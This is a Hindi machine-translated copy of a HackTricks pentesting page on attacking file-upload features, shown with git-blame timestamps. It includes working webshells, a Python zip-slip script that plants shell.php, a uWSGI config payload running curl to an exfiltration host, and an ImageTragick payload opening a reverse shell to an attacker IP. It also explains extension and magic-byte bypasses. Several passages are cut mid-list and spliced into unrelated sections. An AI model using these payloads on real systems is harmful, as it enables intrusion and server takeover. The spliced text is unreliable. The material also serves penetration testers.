hacktricks/pentesting-web/file-upload/README.md

309 lines
36 KiB
Markdown
Raw Normal View History

2023-11-06 08:38:02 +00:00
# फ़ाइल अपलोड
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एकल [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह!
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स रेपो (hacktricks repo) और हैकट्रिक्स-क्लाउड रेपो (hacktricks-cloud repo) में पीआर जमा करके।
2022-04-28 16:01:33 +00:00
</details>
![](<../../.gitbook/assets/image (638) (3).png>)
2022-04-30 20:31:18 +00:00
2023-11-06 08:38:02 +00:00
**बग बाउंटी टिप**: **Intigriti** में **साइन अप** करें, एक प्रीमियम **बग बाउंटी प्लेटफ़ॉर्म जो हैकर्स द्वारा बनाई गई है, हैकर्स के लिए**! आज ही हमारे साथ शामिल हों [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks), और **$100,000** तक की इनामी प्राप्त करना शुरू करें!
2022-04-30 20:31:18 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2023-11-06 08:38:02 +00:00
## फ़ाइल अपलोड सामान्य तकनीक
2020-10-15 13:16:06 +00:00
2023-11-06 08:38:02 +00:00
अन्य उपयोगी एक्सटेंशन:
2021-01-28 13:23:35 +00:00
2022-10-16 23:16:14 +00:00
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
2023-11-06 08:38:02 +00:00
* **PHPv8 में काम करना**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
2021-02-11 00:14:31 +00:00
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
2021-01-28 13:23:35 +00:00
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
2021-02-11 00:14:31 +00:00
* **Flash**: _.swf_
* **Perl**: _.pl, .cgi_
* **Erlang Yaws Web Server**: _.yaws_
2021-01-28 13:23:35 +00:00
2023-11-06 08:38:02 +00:00
### फ़ाइल एक्सटेंशन जांच को छलना
1. यदि लागू होता है, तो **पिछली एक्सटेंशन** की **जांच** करें। कुछ **अपरकेस अक्षरों** का उपयोग करके उन्हें भी टेस्ट करें: _pHp, .pHP5, .PhAr ..._
2. _**व्यवहार एक्सटेंशन** के पहले एक मान्य एक्सटेंशन जोड़ें** (पिछली एक्सटेंशन भी उपयोग करें):_
* _file.png.php_
* _file.png.Php5_
3. **अंत में विशेष वर्ण जोड़ें।** आप बर्फ़ का उपयोग करके सभी **एस्की** और **यूनिकोड** वर्णों को **ब्रूटफ़ोर्स** कर सकते हैं। (_ध्यान दें कि आप पिछली उपयोग की गई एक्सटेंशनों का भी प्रयोग कर सकते हैं_)
* _file.php%20_
* _file.php%0a_
* _file.php%00_
* _file.php%0d%0a_
* _file.php/_
* _file.php.\\_
* _file._
* _file.php...._
* _file.pHp5...._
4. बचाव को छलने के लिए प्रोटेक्शन को **एक्सटेंशन पार्सर को धोखा देने की कोशिश करें**। एक्सटेंशन को **डबल करने** या एक्सटेंशन के बीच में **जंक** डेटा (**नल** बाइट्स) जोड़ने जैसी तकनीकों का उपयोग करें। _आप बेहतर payload तैयार करने के लिए **पिछली एक्सटेंशन** भी उपयोग कर सकते हैं_
* _file.png.php_
* _file
```python
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# पेलोड बनाएं
AAA<--SNIP 232 A-->AAA.php.png
```
2023-03-02 09:08:19 +00:00
2023-11-06 08:38:02 +00:00
### कंटेंट-टाइप, मैजिक नंबर, संपीड़न और आकार छोड़ने के लिए बाईपास करें
* **कंटेंट-टाइप** जांच को बाईपास करने के लिए, **कंटेंट-टाइप** **हेडर** के **मान** को सेट करें: _image/png_, _text/plain_, _application/octet-stream_
1. कंटेंट-टाइप **वर्डलिस्ट**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* **मैजिक नंबर** जांच को बाईपास करने के लिए, फ़ाइल की शुरुआत में एक **वास्तविक छवि के बाइट** (फ़ाइल कमांड को भ्रमित करें) जोड़ें। या शैल को **मेटाडेटा** में प्रस्तुत करें:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` या आप एक छवि में **पेलोड सीधे प्रस्तुत** कर सकते हैं:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* यदि आपकी छवि में **संपीड़न जोड़ी जा रही है**, उदाहरण के लिए [PHP-GD](https://www.php.net/manual/fr/book.image.php) जैसे कुछ मानक PHP पुस्तकालयों का उपयोग करके, पिछले तकनीक कारगर नहीं होंगे। हालांकि, आप संपीड़न को सही रखने के लिए कुछ पाठ डालने के लिए **PLTE चंक** [**यहां परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं।
* [**कोड के साथ Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* वेब पृष्ठ भी **छवि का आकार बदल सकता है**, उदाहरण के लिए PHP-GD फ़ंक्शन `imagecopyresized` या `imagecopyresampled` का उपयोग करके। हालांकि, आप संपीड़न को सही रखने के लिए कुछ पाठ डालने के लिए **IDAT चंक** [**यहां परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं।
* [**कोड के साथ Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* एक और तकनीक जो एक पेलोड बनाती है जो **छवि का आकार बदलने को सही रखती है**, PHP-GD फ़ंक्शन `thumbnailImage` का उपयोग करती है। हालांकि, आप संपीड़न को सही रखने के लिए कुछ पाठ डालने के लिए **tEXt चंक** [**यहां परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं।
* [**कोड के साथ Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### जांचने के लिए अन्य ट्रिक्स
* फ़ाइल को **पहले से अपलोड करने** के लिए एक संकटस्थल का पता लगाएं (एक्सटेंशन बदलने के लिए)।
* एक **स्थानीय फ़ाइल सम्मिलन** संकटस्थल खोजें ताकि बैकडोर को निष्पादित किया जा सके।
* **संभावित सूचना विस्तार**:
1. **कई बार** (और **एक साथ**) **एक ही फ़ाइल** को **एक ही नाम** के साथ अपलोड करें
2. **एक फ़ाइल** या **फ़ोल्डर** के **नाम** के साथ एक फ़ाइल अपलोड करें जो पहले से मौजूद है
3. **“.”, “..”, या “…”** के रूप में अपने नाम के साथ एक फ़ाइल अपलोड करें। उदाहरण के लिए, विंडोज में एकेपीचे में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजता है, तो “.” फ़ाइलनाम “/www/” निर्देशिका में एक “uploads” फ़ाइल बनाएगा।
4. एक ऐसी फ़ाइल अपलोड करें जिसे आसानी से हटाया नहीं जा सकता है, जैसे कि **“…:.jpg”** NTFS में। (विंडोज)
5. अपने नाम में **अमान्य वर्ण** जैसे `|<>*?”` वाली फ़ाइल विंडोज में अपलोड करें। (विंडोज)
6. **विंडोज** में **रोके गए** (**निषिद्ध**) **नाम** जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4,
2023-03-02 09:08:19 +00:00
```ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
2023-03-05 10:15:19 +00:00
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
2023-03-02 09:08:19 +00:00
; call a function returning a char *
characters = @(call://uwsgi_func)
```
2023-11-06 08:38:02 +00:00
जब **कॉन्फ़िगरेशन** फ़ाइल **पार्स** की जाएगी, तो **पेलोड** को **एक्सीक्यूट** किया जाएगा। ध्यान दें कि कॉन्फ़िगरेशन को पार्स करने के लिए, **प्रोसेस को पुनः आरंभ** किया जाना चाहिए (क्रैश? डीओएस?) या फ़ाइल **ऑटोरीलोड** किया जाना चाहिए (जहां एक विकल्प में इस्तेमाल किए जाने पर फ़ाइल को रीलोड करने के लिए सेकंड निर्धारित किए जाते हैं अगर कोई बदलाव मिलता है)।
2023-03-02 09:08:19 +00:00
2023-11-06 08:38:02 +00:00
**महत्वपूर्ण नोट:** कॉन्फ़िगरेशन फ़ाइल की uWSGI पार्सिंग ढीली होती है। पिछला पेलोड एक बाइनरी फ़ाइल (जैसे छवि, पीडीएफ, ...) के भीतर समाहित किया जा सकता है।
2023-03-02 09:08:19 +00:00
2023-11-06 08:38:02 +00:00
## **wget फ़ाइल अपलोड/SSRF ट्रिक**
2020-10-15 13:16:06 +00:00
2023-11-06 08:38:02 +00:00
कई बार आपको यह पता चल सकता है कि एक सर्वर **`wget`** का उपयोग **फ़ाइलें डाउनलोड** करने के लिए कर रहा है और आप **URL** को **इंगित** कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एक्सटेंशन व्हाइटलिस्ट में है या नहीं, ताकि केवल अनुमति दी गई फ़ाइलें ही डाउनलोड हों। हालांकि, **इस जांच को बाईपास किया जा सकता है।**\
**लिनक्स** में एक **फ़ाइलनाम** की **अधिकतम** लंबाई **255** है, हालांकि, **wget** फ़ाइलनाम को **236** वर्णों तक काट देता है। आप **"A"\*232+".php"+".gif"** नामक एक फ़ाइल डाउनलोड कर सकते हैं, यह फ़ाइलनाम जांच को **बाईपास** करेगा (जैसा कि इस उदाहरण में **".gif"** एक **मान्य** एक्सटेंशन है) लेकिन `wget` फ़ाइल को **"A"\*232+".php"** नाम से रीनेम करेगा।
2020-10-15 13:16:06 +00:00
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
```
```bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php
2023-11-06 08:38:02 +00:00
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-10-15 13:16:06 +00:00
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
2023-11-06 08:38:02 +00:00
नोट करें कि इस जांच को बाईपास करने के लिए आपके मन में एक और विकल्प हो सकता है, जो है कि **HTTP सर्वर को एक अलग फ़ाइल पर पुनर्निर्देशित करें**, तो प्रारंभिक URL जांच को बाईपास करेगा, फिर wget नए नाम के साथ पुनर्निर्देशित फ़ाइल को डाउनलोड करेगा। यह **काम नहीं करेगा** **जब तक** wget को **पैरामीटर** `--trust-server-names` के साथ उपयोग किया जा रहा हो, क्योंकि **wget पुनर्निर्देशित पृष्ठ को मूल URL में निर्दिष्ट फ़ाइल के नाम के साथ डाउनलोड करेगा**
2020-10-15 13:16:06 +00:00
2023-11-06 08:38:02 +00:00
#### अन्य संसाधन
2021-01-28 13:23:35 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
* [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
* [https://github.com/almandin/fuxploider](https://github.com/almandin/fuxploider)
2023-03-02 09:08:19 +00:00
* [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
2023-11-06 08:38:02 +00:00
## उपकरण
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) एक शक्तिशाली उपकरण है जो पेंटेस्टर्स और बग हंटर्स को फ़ाइल अपलोड मेकेनिज़्म की परीक्षा करने में मदद करने के लिए डिज़ाइन किया गया है। यह वेब एप्लिकेशनों की सम्पूर्ण मूल्यांकन सुनिश्चित करने के लिए विभिन्न बग बाउंटी तकनीकों का लाभ उठाता है।
## फ़ाइल अपलोड से अन्य सुरक्षा समस्याएं
* **फ़ाइलनाम** को `../../../tmp/lol.png` सेट करें और एक **पथ ट्रावर्सल** प्राप्त करने का प्रयास करें
* **फ़ाइलनाम** को `sleep(10)-- -.jpg` सेट करें और आप एक **SQL इंजेक्शन** प्राप्त कर सकते हैं
* **फ़ाइलनाम** को `<svg onload=alert(document.domain)>` सेट करें और एक XSS प्राप्त करें
* **फ़ाइलनाम** को `; sleep 10;` सेट करें और कुछ कमांड इंजेक्शन का परीक्षण करें (अधिक [कमांड इंजेक्शन ट्रिक्स यहां](../command-injection.md))
* [**छवि (svg) फ़ाइल अपलोड** में XSS](../xss-cross-site-scripting/#xss-uploading-files-svg)
* **JS** फ़ाइल **अपलोड** + **XSS** = [**सेवा कर्मचारी** शोषण](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**svg अपलोड में XXE**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [अपलोड करने के माध्यम से **ओपन रीडायरेक्ट**](../open-redirect.md#open-redirect-uploading-svg-files)
* [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) से **विभिन्न svg पेलोड** का प्रयास करें
* [प्रसिद्ध **ImageTrick** सुरक्षा समस्या](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* यदि आप **वेब सर्वर को एक URL से छवि पकड़ने के लिए संकेत कर सकते हैं** तो आप [SSRF](../ssrf-server-side-request-forgery/) का दुरुपयोग करने का प्रयास कर सकते हैं। यदि यह **छवि** किसी **सार्वजनिक** साइट में **सहेजी** जाएगी, तो आप एक URL निर्दिष्ट कर सकते हैं [https://iplogger.org/invisible/](https://iplogger.org/invisible/) और **प्रत्येक आगंतुक की जानकारी चुरा सकते हैं**
* [**XXE और CORS** बाईपास के साथ PDF-Adobe अपलोड](pdf-upload-xxe-and-cors-bypass.md)
* XSS के लिए विशेष रूप से तैयार किए गए PDF: [निम्नलिखित पृष्ठ प्रदर्शित करता है कि कैसे **PDF डेटा को जेएस निष्पादन प्राप्त करने के लिए इंजेक्शन** करें](../xss-cross-site-scripting/pdf-injection.md)। यदि आप PDF अपलोड कर सकते हैं तो आप दिए गए निर्देशों का पालन करके कुछ PDF तैयार कर सकते हैं जो विचाराधीन JS को निष्पादित करेगा।
* [एंटीवायरस](https://secure.eicar.org/eicar.com.txt) के लिए सर्वर में कोई **एंटीवायरस** है या नहीं जांचें
* फ़ाइलें अपलोड करते समय कोई **साइज़ सीमा** है या नहीं जांचें
यहां एक शीर्ष 10 सूची है जिन चीजों को आप अपलोड करके प्राप्त कर सकते हैं (स्रोत: [लिंक](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: वेबशेल / RCE
2. **SVG**: स्टोर्ड XSS / SSRF / XXE
3. **GIF**: स्टोर्ड XSS / SSRF
4. **CSV**: CSV इंजेक्शन
2020-10-15 13:16:06 +00:00
5. **XML**: XXE
6. **AVI**: LFI / SSRF
2023-11-06 08:38:02 +00:00
7. **HTML / JS** : HTML इंजेक्शन / XSS / ओपन रीडायरेक्ट
8. **PNG / JPEG**: पिक्सेल बाढ़ हमला (DoS)
9. **ZIP**: LFI के माध्यम से RCE / DoS
2020-10-15 13:16:06 +00:00
10. **PDF / PPTX**: SSRF / BLIND XXE
2022-05-01 13:25:53 +00:00
#### Burp Extension
{% embed url="https://github.com/portswigger/upload-scanner" %}
2023-11-06 08:38:02 +00:00
## मैजिक हेडर बाइट्स
2021-04-17 15:03:24 +00:00
* **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
* **JPG**: `"\xff\xd8\xff"`
2023-11-06 08:38:02 +00:00
अन्य फ़ाइल प्रकारों के लिए [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) का संदर्भ देखें।
2020-10-15 13:16:06 +00:00
2023-11-06 08:38:02 +00:00
### ज़िप / टार फ़ाइल स्व
```
2020-10-15 13:16:06 +00:00
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
2021-12-05 18:16:27 +00:00
tar -cvf test.tar symindex.txt
2020-10-15 13:16:06 +00:00
```
2023-11-06 08:38:02 +00:00
### विभिन्न फ़ोल्डरों में डीकंप्रेस करें
2020-10-15 13:16:06 +00:00
2023-11-06 08:38:02 +00:00
डीकंप्रेस किए गए फ़ाइलें अप्रत्याशित फ़ोल्डरों में बनाई जाएंगी।
2020-10-15 13:16:06 +00:00
2023-11-06 08:38:02 +00:00
आसानी से सोचा जा सकता है कि यह सेटअप ख़राब फ़ाइल अपलोड के माध्यम से ओएस स्तर के कमांड निष्पादन से सुरक्षित है, लेकिन दुर्भाग्य से यह सच नहीं है। क्योंकि ZIP आर्काइव प्रारूप हार्कियर्कल कंप्रेशन को समर्थित करता है और हम उच्च स्तरीय निर्देशिकाओं का संदर्भ भी कर सकते हैं, हम लक्ष्य अनुप्रयोग की डीकंप्रेशन सुविधा का दुरुपयोग करके सुरक्षित अपलोड डायरेक्टरी से बाहर निकल सकते हैं।
2020-10-15 13:16:06 +00:00
2023-11-06 08:38:02 +00:00
इस तरह की फ़ाइलें बनाने के लिए स्वचालित उत्पादन यहां मिल सकता है: [**https://github.com/ptoomey3/evilarc**](https://github.com/ptoomey3/evilarc)
2020-10-15 13:16:06 +00:00
```python
2021-12-05 18:16:27 +00:00
python2 evilarc.py -h
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
2020-10-15 13:16:06 +00:00
```
2023-11-06 08:38:02 +00:00
आप एविलार्क के साथ **सिंबलिंक ट्रिक** का उपयोग भी कर सकते हैं, यदि फ़्लैग `/flag.txt` में है तो सुनिश्चित करें कि आप उस फ़ाइल के लिए **सिंबलिंक बनाते हैं** और **अपने सिस्टम में उस फ़ाइल को बनाते हैं** ताकि जब आप एविलार्क को कॉल करें तो वह **त्रुटि न दिखाए**
2020-10-15 13:16:06 +00:00
2023-11-06 08:38:02 +00:00
कुछ पायथन कोड एक खतरनाक ज़िप बनाने के लिए:
2020-10-15 13:16:06 +00:00
```python
#!/usr/bin/python
import zipfile
from io import BytesIO
2020-10-15 13:16:06 +00:00
def create_zip():
2023-11-06 08:38:02 +00:00
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
2020-10-15 13:16:06 +00:00
```
2023-11-06 08:38:02 +00:00
दूरस्थ कमांड निष्पादन को प्राप्त करने के लिए मैंने निम्नलिखित कदम उठाए:
2020-10-15 13:16:06 +00:00
2023-11-06 08:38:02 +00:00
1. एक PHP शैल बनाएं:
2020-10-15 13:16:06 +00:00
```php
2023-11-06 08:38:02 +00:00
<?php
2020-10-15 13:16:06 +00:00
if(isset($_REQUEST['cmd'])){
2023-11-06 08:38:02 +00:00
$cmd = ($_REQUEST['cmd']);
system($cmd);
2020-10-15 13:16:06 +00:00
}?>
```
2023-11-06 08:38:02 +00:00
1. "फ़ाइल स्प्रे" का उपयोग करें और एक संपीड़ित ज़िप फ़ाइल बनाएं:
```
2020-10-15 13:16:06 +00:00
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
2023-11-06 08:38:02 +00:00
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
2020-10-15 13:16:06 +00:00
root@s2crew:/tmp#
```
2023-11-06 08:38:02 +00:00
3. हेक्स एडिटर या वीआई का उपयोग करें और "xxA" को "../" में बदलें, मैंने वीआई का उपयोग किया:
```
2020-10-15 13:16:06 +00:00
:set modifiable
:%s/xxA/..\//g
:x!
```
2023-11-06 08:38:02 +00:00
केवल एक कदम शेष रह गया: ZIP फ़ाइल अपलोड करें और ऐप्लिकेशन को इसे डीकंप्रेस करने दें! यदि यह सफल होता है और वेब सर्वर को निर्धारित अनुमतियाँ होती हैं तो सिस्टम पर एक सरल ओएस कमांड निष्पादन शैली होगी:
2020-10-15 13:16:06 +00:00
[![b1](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1-300x106.png)](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png)
2023-11-06 08:38:02 +00:00
**संदर्भ**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
2020-10-15 13:16:06 +00:00
2022-05-01 16:32:23 +00:00
## ImageTragic
2020-10-15 13:16:06 +00:00
2023-11-06 08:38:02 +00:00
इस सामग्री को एक छवि एक्सटेंशन के साथ अपलोड करें ताकि सुरक्षा को उल्लंघन किया जा सके **(ImageMagick, 7.0.1-1)**
```
2020-10-15 13:16:06 +00:00
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
2023-11-06 08:38:02 +00:00
## PNG में PHP शेल एम्बेड करना
2020-10-15 13:16:06 +00:00
2023-11-06 08:38:02 +00:00
वेब शेल को IDAT चंक में रखने का प्राथमिक कारण यह है कि इसके पास रीसाइज और री-सैंपलिंग कार्रवाई को छलने की क्षमता होती है - PHP-GD में इसे करने के लिए दो फ़ंक्शन होते हैं [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) और [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php).
2020-10-15 13:16:06 +00:00
2023-11-06 08:38:02 +00:00
इस पोस्ट को पढ़ें: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
2020-10-15 13:16:06 +00:00
2023-11-06 08:38:02 +00:00
## पॉलीग्लॉट फ़ाइलें
2020-10-15 13:16:06 +00:00
2023-11-06 08:38:02 +00:00
सुरक्षा संदर्भ में, पॉलीग्लॉट फ़ाइलें ऐसी फ़ाइलें हैं जो कई अलग-अलग फ़ाइल प्रकारों के मान्य रूप हैं। उदाहरण के लिए, [GIFAR](https://en.wikipedia.org/wiki/Gifar) एक GIF और RAR फ़ाइल दोनों है। वहां ऐसी भी फ़ाइलें हैं जो GIF और JS, PPT और JS, आदि दोनों हो सकती हैं।
2020-10-15 13:16:06 +00:00
2023-11-06 08:38:02 +00:00
पॉलीग्लॉट फ़ाइलें अक्सर फ़ाइल प्रकार पर आधारित सुरक्षा से बचने के आधार पर पारित करने के लिए उपयोग की जाती हैं। बहुत सारे ऐप्लिकेशन उपयोगकर्ताओं को केवल निश्चित प्रकार की फ़ाइलें अपलोड करने की अनुमति देते हैं, जैसे JPEG, GIF, DOC, ताकि उपयोगकर्ताओं को JS फ़ाइलें, PHP फ़ाइलें या Phar फ़ाइलें जैसी संभावित खतरनाक फ़ाइलें अपलोड करने से रोका जा सके।
2020-10-15 13:16:06 +00:00
2023-11-06 08:38:02 +00:00
इससे आपको कई अलग-अलग प्रारूपों के साथ एक फ़ाइल अपलोड करने में मदद मिलती है। यह आपको एक PHAR फ़ाइल (PHp ARchive) को अपलोड करने की अनुमति देता है जो एक JPEG की तरह दिखता है, लेकिन शायद आपको एक मान्य एक्सटेंशन की भी आवश्यकता होगी और यदि अपलोड करने की फ़ंक्शन इसे अनुमति नहीं देती है तो यह आपकी मदद नहीं करेगा।
2020-10-15 13:16:06 +00:00
2023-11-06 08:38:02 +00:00
अधिक जानकारी: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
